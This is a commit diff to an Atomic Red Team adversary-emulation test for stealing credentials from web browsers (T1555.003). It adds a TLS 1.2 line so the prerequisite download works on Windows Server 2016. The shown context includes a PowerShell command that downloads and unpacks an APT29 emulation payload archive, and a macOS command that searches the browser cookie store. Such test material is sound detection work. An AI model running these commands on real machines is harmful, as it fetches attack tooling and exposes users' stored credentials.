Update T1555.003.yaml (#1137)

Add a line to include/force TLS1.2 in order for the prereq function to work on win2k16
All the credit to clr2of8 for sending me the string

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>

atomics/T1555.003/T1555.003.yaml

@@ -23,6 +23,7 @@ atomic_tests:
     prereq_command: |
       if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
     get_prereq_command: |
+      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
       Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
       Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
       Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
@@ -49,4 +50,4 @@ atomic_tests:
     command: |
       cd ~/Library/Cookies
       grep -q "#{search_string}" "Cookies.binarycookies"
-    name: sh
+    name: sh